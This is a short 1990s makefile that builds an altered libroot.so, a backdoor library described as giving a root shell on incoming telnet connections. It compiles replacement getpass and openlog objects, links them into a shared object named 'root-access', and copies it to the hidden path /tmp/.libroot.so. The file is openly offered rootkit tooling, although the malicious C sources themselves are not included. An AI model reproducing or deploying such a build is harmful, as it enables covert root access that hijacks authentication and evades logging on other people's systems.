#                                  12/04/96
#                          makefile for libroot.so
#
#this makefile produces an altered libroot.so which gives a root shell upon
#incoming telnet connection.
#
#it was written by squidge - The Guild
#

nothing:
	@ echo "to create the library, type make all"
	@ echo "to get help, type make help"
	@ echo " "
	@ echo "squidge@onyx.infonexus.com"
help:
	@ more readme

all: source lib install

source: getpass openlog

getpass: getpass.c
	gcc -o getpass.o -c getpass.c -fPIC

openlog: openlog.c
	gcc -o openlog.o -c openlog.c -fPIC

lib: getpass.o openlog.o /usr/lib/crtendS.o /usr/lib/crtbeginS.o
	ld -m elf_i386 -shared -o libroot.so -soname root-access /usr/lib/crtbeginS.o getpass.o openlog.o /usr/lib/crtendS.o

install: libroot.so
	cp libroot.so /tmp/.libroot.so
	chmod 755 /tmp/.libroot.so	
clean:
	@ rm -f *.o libroot.so

